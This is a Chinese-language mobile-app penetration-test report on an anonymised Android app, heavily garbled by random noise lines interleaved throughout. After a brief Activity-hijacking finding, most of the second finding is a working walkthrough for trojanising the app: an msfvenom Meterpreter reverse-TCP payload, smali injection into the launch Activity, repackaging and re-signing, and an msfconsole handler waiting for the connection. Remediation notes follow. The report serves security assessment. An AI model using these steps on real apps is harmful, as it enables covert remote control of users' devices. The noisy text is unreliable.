; n1 ^2 O3 T) |+ Q e2 f$ c p) B5 o" W! [) x
, k8 g* h9 B6 x$ ~2 s; K
5 r0 z/ H# N3 b) V2 F* @- K
4 B; `; }; T" D, ~6 {
5 U% p1 R) A# [, ]/ s: q2 I 表1-2 测试结果 0 U$ k$ z; H% M' p1 Q. l+ ?- p
' E y, y* f+ P& P
* @( g4 C$ a+ N- G# [ ^/ ^1 [8 V" {/ ^1 K/ Y" o
0 z# ~7 X) [: r! @ T
- d0 w* v! d3 y" i3 f9 |. k ! w7 B, ~1 f7 Z* b
& s5 u$ G& z' t) U( U! G
! I4 a, _4 @, ]! b
; H5 S2 Y0 ?7 g, @) C S' R ; A8 s1 m% Q$ i! `1 \. C) f$ T
- D9 g, e" t% M6 d% A0 T0 Z
2 检测结果
8 l7 A! @' m3 T/ J7 e+ y" @
( @. x: ]. W$ l8 |" b# |
) P6 j" W3 M! {" U9 Q' K6 H# ` m
; X- x5 O7 L6 h( z+ x; A4 y( j % i1 a& d% B" S
6 L4 X; d/ } d( k6 t
2.1 某某某 ( c% R, a: a: D9 R6 o6 w1 p
. ^: a" r1 j4 t- n5 A% j) G
( `* A" p* j4 y$ B
" d R( v4 t3 f0 _
& \, W% j9 X( |( R8 i; t$ h- b' a
1 ^, A6 q& T+ h5 U, }: {$ {
2.1.1检测目标
9 S% g, Z( E# @* w: w) t2 {4 S5 ^, d( r
# N5 m% c8 m" r$ z/ c0 y) v
$ J X" O" d: T
. r6 \% U8 F1 N* ]" X9 a |7 y# ^( h" h, s. k! K9 U
目标地址: 某某某某某某APP
0 p+ c5 y2 T% E, |* r
" G/ i' K8 }. t& R/ v3 s , i4 E N4 C, B: S0 L- i" \$ B! C
4 \0 y& {$ c% b# D
/ Z5 }+ J; v7 T/ f6 T% n( _6 M1 P- c! B- `+ L5 }
2.1.2检测结果
) H: ], i, x+ x9 s+ M8 U& l/ Z% `. L
" x3 |: |8 a! t' }+ W2 D/ Z
% w; `& Z/ o- J% N; {
7 Y2 w- O2 J0 q8 n0 O K2 ~( X: x( A* M ^& `- P
2.1.2.1 ' l( A9 a* k. M, x/ ?, H: l+ s$ c
" t# C7 g& q* B% h- B. ~" q% \ 5 _, K9 Y2 r3 _5 [3 T
( w2 t0 G; F4 l4 a5 C7 \
) {, z- n; k* M# q
: X; j- B. V! a5 J# y4 u$ Q 漏洞链接地址:某某某某某某APP ; e9 e" [. V: j
1 ]: G, p2 Z( f
4 i! c, |4 W# i0 q. l' e4 [" C
9 K4 M# i. L# f( R6 G
5 e+ x9 r7 O( O1 @7 V$ @" {4 Y. [3 ?
1 G: a% j8 C) }% h+ F
5 p. q6 A% O/ e2 J! v / p8 U9 D2 f3 I7 t( u$ s
! C; N% W4 ` ^6 n7 j
( I% H" W- W, q2 H' `; Z; z8 v: u* w- W7 u: V$ w
漏洞分析及取证:
& G6 v4 z6 p& a( z0 l+ I% P! S8 U9 n. p6 V! v
) o, w) v ~% |
0 {5 s, | ?& T) z# d , x5 O3 T% P/ t. g
6 U% E* t {9 [. o
通过androidkiiler反编译,发现app未进行安全加固, Activity 为com.minivision.cmcc.activity.SubActivity可被劫持,复现漏洞如图: 2 H m# q+ ]+ ]: x* k6 f! h
* z& U5 \+ V" f& l
W7 R0 G+ F; t R( t! G7 |( o1 ]' [4 M( a
! W H1 j) [% m( X# D; @( b7 j- A/ M _/ N+ L5 @0 c2 V
' I% W& J: s) t" y0 M& A; y o. G, i- }1 M9 L, l
, j k L' T5 a' o* ?4 R0 { s
* E" I! ^! {! Q3 P
0 a# U3 e' G0 l# Z' {
/ q4 t$ R9 A- a- A2 C
* T* x( s1 K3 s7 G. Z& I4 y, m Z4 c: m1 R0 W+ u" N/ V
& k1 C4 k) p, x/ e$ R+ t E
7 k: m) \9 n7 K8 ~
6 u! O3 R U: U o! H. B8 s5 m \, N
. G" E6 Y# ^ k. m
9 y7 K( O! p# g# G: C5 ^
% X, {, d7 c" O
+ u( {2 ~9 \. {! N5 W0 D8 L
+ ?5 O+ H( q7 ?/ @! m $ a2 e6 b; U) U. s5 F7 H
) L. j' o. s& N5 y8 j5 J
7 O: [9 D) ]2 \" L# u' M
, [0 F! Z$ B- u; B% |, S
% p2 Z Q! I# B$ m; X* q6 A- C6 g
6 S: M. v2 {' K, a" Q. f+ Z! x8 w$ J
: X7 U* ]# z& i* u1 X4 ?. G7 y, X
+ d: C' K8 P; z4 m/ s
( ^- S$ S) X) {
5 A; |" n) H& a; c* s# g! i9 A; u7 ~1 a% l9 ~
; Z! y, `# s [, W; P* k2 \6 Q+ Z* Y2 o
漏洞危害:高 5 P* [% [* i! n; w% Z6 h9 d
$ q _+ s- ~6 }; }2 ` 3 O2 k3 y) O( H9 U- A
. H6 J# t2 t: D5 C, E
' P3 S) [! r6 U- a3 m
2 K5 q! _5 T! ^4 d+ c 5 A! @7 Y$ Y# Q0 u1 _4 A7 B$ R
, ]1 w/ e: [8 i, Z
0 K3 n6 B0 a _2 J( A1 g" `3 \9 p4 B# b$ [: x+ }. Q& I' M
7 u+ H+ ]9 ^8 T K# J
d* }5 h* e3 r/ T& O2 I( Y ; y& q9 c8 U4 B+ O8 M* F A
! Q4 v1 D8 r/ f" X8 } % \; @3 c( _ `
' `2 Q& {+ B9 {5 L 严重程度 ' f; L" Z- p. W- p5 }
: S# A" s2 i8 U' o4 y& D
/ T9 Y. y& S: P% a5 H* I. f
$ x9 h# K+ X A# C* U3 t
|
! @6 d9 E7 P4 U1 M
+ A. S2 s( {. C) J) W" K8 F
+ x$ V" I/ O( I+ W* k# z; ?, l
- x" C7 [: ^9 e' y
p$ }- {- Y3 F3 J5 D& r+ T' q
7 V; A8 z9 r- F+ N 高 * r" S$ s4 l2 J6 G0 o* s
+ M3 d/ c5 }2 N3 ? 1 F5 Y' G( _" u: W" `+ X9 \7 J
3 j4 F' j7 X, N$ b1 g# R, ^" _
|
& @4 I! G; W# D$ J+ [( ^6 t2 m* U3 {' y
* u$ R& e9 w5 e+ z' s2 r
5 m; o# @4 _0 k! z% Q! z1 q
: L2 c* S- o! E/ i' q7 p+ A
8 d/ |( L" m W; \" D' z; h5 T. ?
■
, o. l* N" g5 @0 N0 D
; Q6 l# O2 ~$ Y2 K6 f" S. `% c ( h4 E) v3 k- t, Y3 Q9 g+ X" R
" c2 d- V2 r1 w
| * u# p5 N5 l4 q7 Y2 ~4 e2 Y
% G: S, u. V* i0 Q/ O- @% N0 l' b- ?
/ P$ Q" ` ^) N) p0 Y# }
, g% J/ y# o/ f. I+ h
: ]$ ]2 y( H( S, p9 X0 n6 ~' h( b2 B
中
3 y+ d- Z( H* o$ @% L' Q1 H& H' x0 D
0 A, ]; R% \8 J6 @/ e/ h0 J' p2 ~8 M
0 b4 Z. t" d9 U# \' u) w4 M
| 2 _" F9 q* B% y5 n: x/ K/ F
: l- u. E8 \0 q! _2 S% o 5 e3 \' ~5 l" E5 G% z0 O: p5 |
. R2 K, V5 O5 d6 _3 F3 n
$ S/ [" k- J% h
. @, }& @ S. @- H# U
5 `9 |0 q+ @* m3 }( N' [3 s1 B: `, o6 i: y
& \/ V/ n! h% x$ A
% }' X, B8 [- x7 ]) R | , W* c o3 \7 t+ |+ X) t0 }; x- X
9 @7 k+ \1 H5 e2 y
2 H9 v* \- c5 N$ p" e
/ S9 B+ C& L) a9 w2 N& t
8 u& _% q e, `) @$ G( R! G6 h
$ i5 H" V9 O) z* k" |2 \. V 低
& B9 C: s4 Q* W4 e) R$ ~9 R s4 a3 a9 Q! l$ x" R, Y/ N$ A$ L- B
( [2 b: ^$ l3 Q! ?
( i7 m" w* u- x6 H
|
$ }7 e$ w2 D- X9 y) @# W l3 c. \) t9 p$ L! A1 E) E7 F% E2 h
& Q d: Q# J* A; O3 B
& X# I1 m8 ?. ~ R# P* Q' s3 h
/ v$ x7 X1 T6 V7 j# x. k5 `) X& F: _: D1 \, V( y6 i( d) |1 c
6 J, m% }: N! a5 Y& p9 H' ]8 s& ~
7 E& d' Z% L O/ C( R" I
5 b9 y) t0 k6 i, U" Q- j* p. I1 |* @; ]3 f5 F0 w
|
% [# |! Y9 F7 @
' M% y4 t7 s1 w ( n$ i" [2 N* a
. Q7 o6 [. X+ M5 h, R5 e
% q0 ~6 ` d' T* k' [* O
O8 {/ M v2 r2 c3 T5 p" e! e* S 8 A" @9 k0 p- Y$ S
& S; P3 ?& {; J6 z' [5 s) R3 A7 k5 @
2 |* S! ~% `! _4 [5 D+ q6 r' E. ]( Z7 {4 h6 B+ m
8 s5 T8 n9 _' P7 G% A9 ]' D: ?
5 K' T2 l" U0 |6 q- [- L7 Y ' ?( {4 Y5 K: t9 h
9 q0 R t- r/ ]
$ O, u' {& s' ]5 S
( D3 ~8 B: I. S! ]6 r
. s1 X( z" e% `6 i5 k2 c6 w+ M6 \7 d, H4 W
修复方法:在 APP 的 Activity 界面(也就是 MainActivity)中重写 onKeyDown 方法和 onPause 方法,当其被覆盖时,就能够弹出警示信息。判断程序进入后台是不是由用户自己触发的(触摸返回键或 HOME 键),如果是用户自己触发的则无需弹出警示,否则弹出警示信息。
: E9 O [/ P5 F! J& R$ \9 z- e/ \* z9 r+ c) x9 m1 C8 n8 q
$ b/ I; c) i* b9 t
0 E4 a5 F8 ~! W. n) v) ?# b
0 i7 a% h% V% \3 H! _$ F
% G. i8 G1 |. {# X c6 }7 G9 }9 _ 8 j6 F2 U* g6 @) d8 ~
: p& k: Y0 x+ j! l) Y) t5 A
7 D( l# @- q$ ~) A1 K
0 B+ r0 y! ]: W& c! P3 _5 R/ F5 g
8 g3 J& w! u+ |1 [( v& M* r) |1 l* t( l. }3 L, [3 D6 {+ [
- E+ Z) B/ u. c# `: D. } {$ J
& c) f9 }" O e: G
K7 M, S) z7 Z5 \ C2 \6 z- l3 h! C7 e- X) M3 z8 R' r w1 O1 v
: H9 m8 f( }9 i; S5 t
! x6 P9 Y/ h& u- |
2.1.2.2 8 U) F4 W- f0 a
! R( B) P3 e7 t6 p% W) e7 i& f } : Q- a: g5 e9 Q: y6 Z
2 r5 P* U3 f; z t, ?+ M
! g$ Z4 Z! |; @* F7 A8 V
9 T3 g$ N5 x: n2 x, B7 B+ ]8 B4 P8 o! e
漏洞链接地址:某某某某某某APP 0 E2 b e# Y1 a) g, |7 P
: K% R& n/ |4 o& Q+ q & y# K' n6 `, \; J% T3 Q+ D
$ D+ ?5 e& ?. e+ D
+ c, a6 |5 W' ^3 h2 ~
9 w, P, T$ l# E! Y+ N0 X1 S1 C 漏洞分析及取证: & Y/ `: P8 H2 u" N8 f
4 X" O `1 H+ ^9 b
- d, k8 i4 q5 x3 s b6 K4 [' A# ~( L! b/ |( s( Z! u
4 T) t8 c; Q. d @
" m1 u( L8 Z S+ h, ?& C 通过反编译,发现程序未加壳加密,可直接反编译获取源码,经过测试可修改app代码捆绑木马或者植入广告等操作,复现详细方法如下: & _7 Y% k; U9 N& J* M
7 X0 k, ~6 ?8 O e
6 w) U- h& B, k" `* B/ k" |
" H: t1 N! f5 o, W
. d) J) L, Z! A" }4 \0 }
) Y3 S; @- \8 a$ j' I 用Metasploit 生成木马 apk + W1 @ a1 Y" i+ T
, i" w1 M+ B d* r+ `! G
9 A. i6 {7 ?; k' @: Z% a# u, E# M) ]$ ?9 ^6 U* |
# R0 Q# T, b& r# F/ ?% Z
( ~+ w6 X/ E5 P/ n msfvenom -p android/meterpreter/reverse_tcp LHOST=192.xxx.x.x LPORT=4444 R > cockhorse.apk
3 {. }8 R6 M$ ]4 v+ F: d+ N4 ?9 |7 {) {
; C7 R6 `0 i. w3 W$ B. s" H5 V/ Y& P2 \
) z' F4 Q, A5 v! U P
* T4 B8 C3 s7 R9 o* U5 P. p5 b- O8 R* O: }" @* `6 {* d
反编译目标apk和木马apk
4 R9 A N+ e6 G, T4 X% _
1 D/ E* }/ O8 \4 S: q. `( O6 W
; h7 h- K9 ]1 K0 k
( q2 M- \# J8 {* b
/ ^ R. e; c9 Z, f
/ }" \8 F. i* v1 P8 e. H apktool d target.apk - P S R: ^ c( S& r
- W* R3 J. U1 W& \* t apktool d cockhorse.apk / _+ J9 h1 z. l$ Y
6 P" i/ S0 r$ D' v3 C$ \* q8 R8 v
$ `, L: ]7 B- q- n) N% K5 \4 a3 g( y- S6 E* |9 I+ I
; r1 y' I: a1 J) d' i9 q9 b5 R6 l/ `! A3 j2 [
木马 apk 注入目标 apk & X A! O. O! `$ g$ e+ y* O
; s: ~; G, D9 K7 k3 v* L( w4 i2 W
: M6 Z1 ^; N$ ]* Y4 `. { G7 E
3 } A; g5 g/ I* F + H; r' T" A: a5 o
: A; r7 S, [8 ~ 在目标 apk 反编译生成的文件中找到启动 Activity 的 smali 文件,并在 onCreate()方法中添加如下代码: % M' v4 e/ H" G# P% i
( I* y0 p5 C0 K0 r' S invoke-static {p0}, Lcom/metasploit/stage/Payload;->start(Landroid/content/Context;)V
0 Q( `+ i6 x/ ?+ Q$ k
9 w. t+ H) p: {( X2 a* _ f4 t 5 o1 _/ b1 k% m. C( _1 X. R
" l! d" J/ {" \. P% Q) H( m7 P5 H
% {+ @* N5 i+ {4 o3 [+ a
8 H0 G0 a% t# t: |" {) [3 Z5 s 将木马文件 AndroidManifest.xml 中的权限放到目标文件 AndroidManifest.xml 中,去除重复
6 H |$ v. t2 N7 b6 y# o3 d
6 E0 p7 I. O6 h d2 j* h ( q0 i8 L0 r% w) w$ s
o( s! ^/ E7 O) f+ t5 J
# Q$ H: C: N8 G( q+ K( {" J4 i
2 m; i- L5 h$ w+ r& E7 } 将木马文件的 smali 文件放到目标文件下,例如 com/metasploit 文件复制到目标文件 com/ 下 ' v; J8 _+ \/ |
$ ]" u* ^1 S; e; u% r* Y
9 K. t* l4 b E! H9 A+ E
+ `' ^* f0 t0 V$ s
/ y3 q: C; F" D/ J: J: M
3 d& L: @ Y% C9 A$ S 回编译生成最终 apk
+ q2 W$ ~2 s& J/ Z( K. w4 `
$ N' k! Q, L8 s1 ]
( K0 d% O9 U/ E# ~# K+ P% |4 P; W5 k7 u6 w+ L: |
7 a2 I/ e7 W: B/ T6 g* r& h4 f# u
9 n: }) ?) p7 _# p- [8 h5 J 重新打包 2 X% ]7 d4 }7 n7 B3 e
7 k2 S2 C( ?) z y" _* C
; o) q9 P) _# H, l9 y" o) d0 Q1 N: V: H( Q- D5 Y
$ m1 t l/ ~2 r o
' i% Q8 e6 M; R/ G- c2 f) e, y: b) h
apktool b -o repackage.apk target_app_floder
: x9 u+ |: Y; c/ e7 x4 _' _$ J2 l5 E4 |9 I {- I7 L! I
9 N+ x2 E0 k* B9 w3 ? r
6 m8 t: m# [+ I' M! J3 \
0 X9 P$ ], f2 D6 r6 [6 P- r1 _+ X E" {5 s# V; X4 }* c* a. T9 G
创建签名文件,有的话可忽略此步骤 % S+ Y$ T+ a" K- c+ x
2 {/ p# B/ H0 B
" g0 S) w4 B$ _1 c h$ ?/ h% V
+ v( {& c8 d% i- }% q4 N
6 X1 d3 N# H' Q' A' _ {/ r+ V6 l
/ l/ S. v* V, p# w* z keytool -genkey -v -keystore mykey.keystore -alias mykeyaliasname -keyalg RSA -keysize 2048 -validity 10000 , T6 Z2 u: T( q W9 u1 g
- h4 m' e+ v& q/ P# W. f; b 0 }9 d! X# L* `! k4 [( U' q
5 p) {1 _/ `' ?3 |
5 M- I: X( F. g- S
! \, i1 O% g% j- z- P# D9 x4 Q# ? 签名,以下任选其一
$ f& X! Q4 P: N C. |- n5 f) B: F( u+ _* ~7 ]; I
3 r; ~$ r0 x) k
! _/ \) D9 k1 [. |) I
. t! T* r2 [2 a+ m' G
4 p% f$ f$ }1 T' y4 C f jarsigner 方式
$ d+ m& O/ m9 y, u! d0 k) e; y0 Y: t
$ _+ l3 Z* N! M, i' P/ M
7 \3 Q: l4 y0 J. f% u/ N$ o, S6 k4 o I" s9 V3 P' R
. d$ M/ Y6 U- s( K* H T& m( `; s1 o* {! }4 V2 a, g% N' l6 a/ Y& N
jarsigner -sigalg SHA256withRSA -digestalg SHA1 -keystore mykey.keystore -storepass 你的密码 repackaged.apk mykeyaliasname
8 S6 e. I% X/ i8 Y+ G; }' ^
9 s* J& a, i3 y% M; W( b/ [, q& N
/ c7 @5 a9 c; }) K- b6 y
4 n2 m2 W0 x9 M( w% `3 X
6 [& k! u6 G; y6 s5 R8 b2 Q" p
( }; }" [# a5 N apksigner 方式
8 z. O$ U5 }* |3 M& W: J! G& T# G1 r1 z! B( P' Z% _, P, A4 e
: t. ^9 P) C) F
2 i; t" B! G. d6 @( e# ^5 {, I
' {- b! J7 `+ I. `
4 ^% b; }( e. t2 I) I apksigner sign --ks mykey.keystore --ks-key-alias mykeyaliasname repackaged.apk
- p$ x) S% g2 k- D8 \3 q% d, V i' K& b- j5 N a
2 n5 n! D$ ^# W p! e2 J6 a
6 v3 ~, Z8 O- h) \ + A+ D3 s# O: q( ~
8 Q$ T! H# b ]* N; X1 ~! L
如需要禁用 v2签名 添加选项--v2-signing-enabled false $ Q" O' }! N9 J: {' X/ n
7 f# a9 i+ a4 k, q# j 8 x4 P8 O5 ^/ G, [, L; z
4 ?! {! `) c# o% n. m- ^8 P
; Y; U \' o8 Y6 `; C Z: o8 @1 E4 r/ q/ n q" X* H3 L- |
验证,以下任选其一 # v7 L3 ]- K( Q3 r+ B
5 P) f$ w1 ~: T4 l" l
% A4 y( O. ^3 y4 Q# E9 _ D5 ~/ D! ^3 ~. V) i' F( W1 s8 V
, ^" B' w: t0 ~
9 l* B) x; Z* [6 |$ s# f; @3 K* {$ ]
jarsigner方式 3 W5 ]9 p0 z, |3 Q+ b% ^6 E* @
) ]7 ` X+ |: q A* Z! t
" H- {9 j# F) p+ M+ `4 A4 ?* W6 L
! X3 A8 U. R9 k
T$ e) N3 D& }/ h; Y, J* D- S8 h) t' J) o7 J- u0 B0 x. P* V
jarsigner -verify repackaged.apk
: p" i( C2 p: u+ W5 ]. {( |
4 u# Z/ R2 L. y9 r* w+ a
) O( l5 i4 m1 y
/ I. H3 D4 o* r * l, R2 B: m" r3 K2 {* `0 O
2 ]# l9 V3 r3 A8 p9 I# t' s apksigner 方式
% z& P# y! |) j% x8 D: l+ o
3 m- t$ f# B+ d
8 h" p! H; ^; c* S& K2 B, \: x7 H2 B% c# I) n- f
9 }7 }% C) T+ ?
% v- G, P, E' {8 A( E0 z apksigner verify -v --print-certs repackaged.apk
: d$ D( Q; h/ U
8 _ C: X4 C: Z' V$ D
* q& I( p7 o- U7 ~- z. d" c: C5 q& |# _$ _
i- I3 S9 ^9 J p
/ c( y1 B5 F( w keytool方式 & i9 p; ~# z% u/ O, p) j
5 X" h% v+ K; X+ W7 p3 g# ]
; V- v& L# h% F
* k' U) ]# U5 q6 v# e, {
! s( G* J/ P; {3 a4 f$ y9 O# f8 C% [- A# _
keytool -printcert -jarfile repackaged.apk
% A! k# l" R9 d' b3 K! P% |8 ?& n& a( w, L( o1 z# H
- C. N2 ?/ H& Q' {5 h8 z0 }0 K
0 F8 q9 d* \' l; g/ V, p
5 N' ^& b- o5 }- c. e
' M# A: i% \' Z5 Q% O$ Q7 k 对齐 ; c( e3 K: W5 }4 z1 F1 W. o
9 U# x1 ^8 b8 C' f: t2 s- {
/ ^4 Y" @1 E! Q7 ]( p8 g& E4 T, h$ C7 }: }
& p3 W0 O; d0 t& J- k2 h
) x* K6 E b! ] 字节对齐优化 # O0 t# d4 D, v# _
7 a$ z# u5 }" d* M
6 g2 t. b+ U) i; G2 O" c/ Q% W
2 F* L- y* \7 ]3 U. ?: P
% q) Z% N* y6 r5 ^8 i, W% v
7 I! Q1 r. R9 a
zipalign -v 4 repackaged.apk final.apk 2 H9 j' K2 O8 b
3 ~) m8 z( y4 q* @8 M; H
1 k5 F4 I$ w- q4 r+ G6 M$ Z' B7 V
2 ?: N2 z& x4 S' ]: j 1 y9 g# e! D0 o
3 D! i( ? P! t1 g& @( P- K4 Z 检查是否对齐 + V; `2 z' L$ v# m
; }% C& _1 w0 y" k- i, u% u
' Q P9 \ t. w4 ^0 T9 ^/ \$ g# ^
9 `0 `' \; k6 ?2 ]/ } ; H. V3 ~' W. B& Y, \6 T
% a! h% J& N) L& D1 p; D
zipalign -c -v 4 final.apk 0 E2 K2 g2 r, H' n. a) @
8 [/ {* {+ E+ b' E) t
9 E: b" @- ^$ X. Y5 ~9 j
9 _; R$ K5 ~1 R0 [" c' G4 l
, ~. q2 x; Z0 ]" Y2 ~, F
( \4 d, r9 y `5 _ 注:zipalign可以在V1签名后执行,但zipalign不能在V2签名后执行,只能在V2签名之前执行
, y6 ?7 D0 G; m& M \- N# T' ^- {0 o; n. {
) P1 J- p+ L- D. }1 R- C3 Y* I
) a' ]' P' }9 H* A
+ ^/ S7 N. a+ I1 D
7 \; k5 Z3 | Z6 g* Z 启动Metasploit控制台,配置参数等待上线
1 ?6 v9 ^( U7 D3 V. F: ]
; g% K8 S* I/ ?+ H- D 5 R) R: ^' m' s# Q, ]
( X& k" [; l9 e8 Z: \! o
e: T3 i; S& G' C0 X' P- K+ `) ?) S8 \5 U/ Q
在终端依次输入如下命令
, J9 p# W8 Q3 V2 Z* }3 ]) O0 R# Y* F1 ^: W
$ e# \/ W2 j b1 B5 M' r
4 ?) h; S$ k' ^. k: g* \5 l 0 u8 f$ x3 d" f+ {8 W
' |4 r4 t2 f: b% ]
msfconsole
~7 z- I6 W& b6 @9 E+ K7 Y0 h2 l( f7 w3 s4 C; e. @
/ G$ z/ L! [2 y# u1 B# Z5 n/ A' B# }' }5 b& X; p. ^
+ B( y1 m5 |( ]+ |4 _3 ?# x5 X# D9 X" T. z4 _ ^* x0 {- I
use exploit/multi/handler 7 |4 c9 G2 }" v; u I) A
4 {* t5 S2 _0 T8 I % W$ v' K* m' K* n, i" P
$ Z' h0 B/ c9 x
& p; _2 X$ b1 L% C) D
9 i- K- I0 n* j set PAYLOAD android/meterpreter/reverse_tcp 0 W* H' C: z4 i& ]9 `9 j
- o( p6 Q9 s- x% `' I
1 Q: q' b% r' |
+ e5 q- e- M; H) n5 Y
4 E: H6 L! q" J e& u
+ S& a; Z5 P5 j& h- e: j set LHOST 192.xxx.xx.xx ) L K5 Z5 t7 c
0 ~4 a( s' m% \% }$ U+ d" ] % W& R6 n9 L5 ~; q
( X+ k/ d. r. y# `
K, x3 j5 x ]$ A+ ^0 F* H* o
* q- x9 ?- N! S4 S: ] set LPORT 4444
9 e3 J4 K4 B6 B
6 O8 Z! N% o! ]( ?2 `( R" |
( m3 M6 m! L+ Q V
8 \. a( X: y" a, s
; j9 F3 c0 i, G9 ]4 {% J
% O" [- l0 J; ^! m exploit 6 i2 ~: a2 |6 n5 U. G
6 ^; O& e! {4 Q% h0 R% p) Q) f
0 P) a- C9 g$ b7 z) m; P, Z) l3 H& B5 d& ]5 E+ a& Q: z% u7 ?" T
- `- X- p; y' Y7 i8 E. G; b8 L; y& t, B( I7 {, z
之前我们把入口放在 MainActivity 的 onCreate 方法中,当启动目标应用进入该界面,就会连接成功,如下图:
9 l) \4 V& g- B" j% n- I, H$ `; b& @
0 t, n! C5 w! s/ u- o& |
3 @$ g% T/ k1 x% c
& U2 b+ @& i" [- n) @; p% z2 P9 r- {: v0 ]* O, E. D
漏洞危害:中
; [+ c' v. N3 K1 B8 ^1 Y. l W7 g
9 X# e7 P4 ~- R- F: u* k
! U/ L) ~; d; P# l. t% ^- Y, m, l+ i# z+ ]' z$ D* j( m( T
0 o9 B6 Z* b( l( b' _3 R r% N- K( H
) d6 d/ y4 m4 I1 ?* e5 Y
" S- u6 j+ d. O/ z$ M- e1 G6 S4 l
- Q0 n7 s' T' {# J" ^2 E
. N n& ~! E( X' k% [$ m
& D1 A2 d* A' m/ |# ~! |' _/ ?8 N( Y, ?( k2 I6 Y- j- |( ]& x
8 T @* p' r: ~! H/ |2 S
: @! S3 Q4 h8 x( [. E2 g& E ( }% ?% {" N0 M* G; c& i
- P! L. g2 v5 b: [
2 T2 n* ]$ ]( n; v' C3 ?
* G: m' m; o. j7 |8 H
严重程度
+ l9 E3 C7 a4 R: b. c& \9 O% o { Z! g4 a/ z5 N
) S( c1 q, W7 R# I# a8 X% P/ ^
5 M$ s" o1 E. J0 \ | / z8 ^9 T+ u' B0 B! Y5 L
0 t/ B7 P6 M) D' L1 u8 k
/ v4 V( {1 r9 o" l4 e X! g1 z
$ [' o- g$ ~' [, F8 r
; I; Q- ?. i. g/ f; P- \/ o0 w
. W }! Q `7 [6 @5 a- p, Y0 ^ 高
7 t* U! Q* x" v. Z/ |' t0 f/ \+ h# V4 c7 K h+ ^* |
: X% F- l" _3 D7 h
- S' }' O/ K1 ?# ?
|
- B! p+ Z: I& q, m7 J% k7 e+ a' J* s3 |
/ A, ]0 C0 t0 t: ?3 T
, j5 S9 X! q0 p( }
# Z7 L/ e! z( L Q1 @0 s- Y7 b& ^& g- } X0 l( S
■
& D9 G+ N. o J. P" Z+ _; P m" }) b7 R' }3 S k9 X$ K
+ n N$ H/ N4 w6 \1 F( o
0 b# I& D* m5 P9 x, ]! x' ` | , I" D4 ~" l2 y; ^
) ^' g0 b& L* n' {$ Y+ w
# R0 l/ H, j0 [; T$ S5 t' y5 P# B' K/ A( B! a( ~) A* z" z
, M) L* Y! `" k, L v# W# r l
3 n% [3 q5 l5 H; m 中 8 w: f* B+ i! Z2 P' u' f6 z
* @& n; d! j) f2 b
N. s' Z1 n" g: M$ X$ V0 ^3 g; X' b4 v6 ? o
| ' _! p3 H/ J% Y
3 u2 k6 r' e) o7 j8 M) I2 l
4 }2 v! k3 R9 @
3 e5 c6 e" m$ z+ L : N6 r$ E7 C# n
" R# e1 e% S5 y0 Q5 q
" n) `% p5 X* l& b
$ }7 |# G- L) }/ \- X, f / p3 O: ?, Q$ ~$ `, m0 e+ T) o
' t& U" g; R: H4 _+ ?6 {
% x$ m. W2 N' h7 o1 X- x; h( d/ a3 @9 O- A
| % L2 U: \0 G6 Q
7 n6 b$ j* n9 K5 L( J U/ p! p4 [
* G8 S7 K4 ^' d+ k2 }( j N: n; k0 H% g5 F9 ^% B, K6 Z/ z
: d9 V8 s1 |& }. X6 i
8 j. b; [2 E2 v2 m' y! P 低
" j8 M5 Q) {5 U7 z0 \
! l, U0 |$ h' M+ E; G- V
( A. y; [4 V7 T' ?# e8 p: s F, Q3 U+ L" y2 ]
|
; A+ R6 R/ w# l" j( A- q% a {* G: p# M0 m
! O5 d7 b6 i, k, p $ _1 F! y4 v1 R' @
& N; l: V0 P- X8 y9 P. K+ W
. n ^. g; l4 k. @5 p1 D+ R; [" }" r8 I- {& t
6 ?1 t0 c3 G& \: H2 t- @2 t
! W; ~: b& D& Q0 J2 R" J
' w5 R3 H3 z0 o
: b$ `$ N+ B. S! `: t8 E
- H# d; B% Z4 h) ]. O
6 q7 b2 {2 K6 f0 Z" T/ P, _9 V3 h |
/ K% U/ c7 n+ W1 G
( W2 p* n: m o 2 I6 W# h) q& t" p
; j8 K' O; ^0 p8 z3 c) O! u' t+ b
' a, ?- \/ z% L* x/ j5 U
+ ` ]0 }9 P' _0 ?) X
i) h8 I( T5 P5 L7 i1 n; i: k( ]/ j: G1 ~6 b* i3 b' l3 l
: h* Y( D+ b* g5 X7 X& S4 W
w3 u/ e) R2 a' a8 t% p
: [" I1 S$ z" Q% R8 a# y& i) r; i7 M, z0 z% ]* S2 A. Z* o
2 x" U$ _3 C- K
. `; o( x$ v7 ^4 O9 } B0 ?& }0 s, ^0 F8 b
7 c3 @8 E# q9 l* Y# a
$ T9 d, e9 |0 r8 t1 l1 [$ N# R9 T1 U
修复方法:
! \5 _& H/ m7 @3 g' l* I0 p
, B- P+ ]. W7 S7 W, m 1 K9 o+ p7 j! b9 j! ?( v i
2 Z2 m3 F) Z4 {
$ p$ T1 q5 q6 A. M
}7 W0 O/ w8 N2 O/ R 1.在 APP 启动时应做签名校验防止二次打包。
% ?9 Z, k- P& c% i' x2 P
7 I5 x; F' _5 u/ p# ]4 d0 A U 2.建议采用客户端、通信和服务器端联动防御方案进行安全防御。 4 ~: f! t- c) d& \6 W) A/ i
( ^' G) I$ ^- M5 m( r+ D+ x - W" n8 V* t6 C5 |! N
. y; a8 J: }: A6 [: r; Z; x $ K" t3 S9 @/ }; z
* b4 q x; c; w1 }) M% d : X0 U/ e- L3 L' t" }; j0 E
9 Q" ?4 s* N( b: {" L
6 A1 k( F {" F5 s) N; i4 }
& G/ |- S% }9 f
3 P$ o. M, N* n! K8 p- C3 J$ X e
, A% F% D/ Q0 y' U2 z7 Q- p B , t6 _9 L0 Y6 s6 t3 R: d
$ L X m( m6 l+ N# ~, j Z
* ^+ X$ I C" d
3 f: s5 V( V6 ?' G
5 e& C$ e7 p8 O9 r, d
' V" @5 a9 ?6 w3 V4 ], b2 N1 T
: a5 H7 @" A+ J7 [5 P- E: J/ q8 n; u& `
|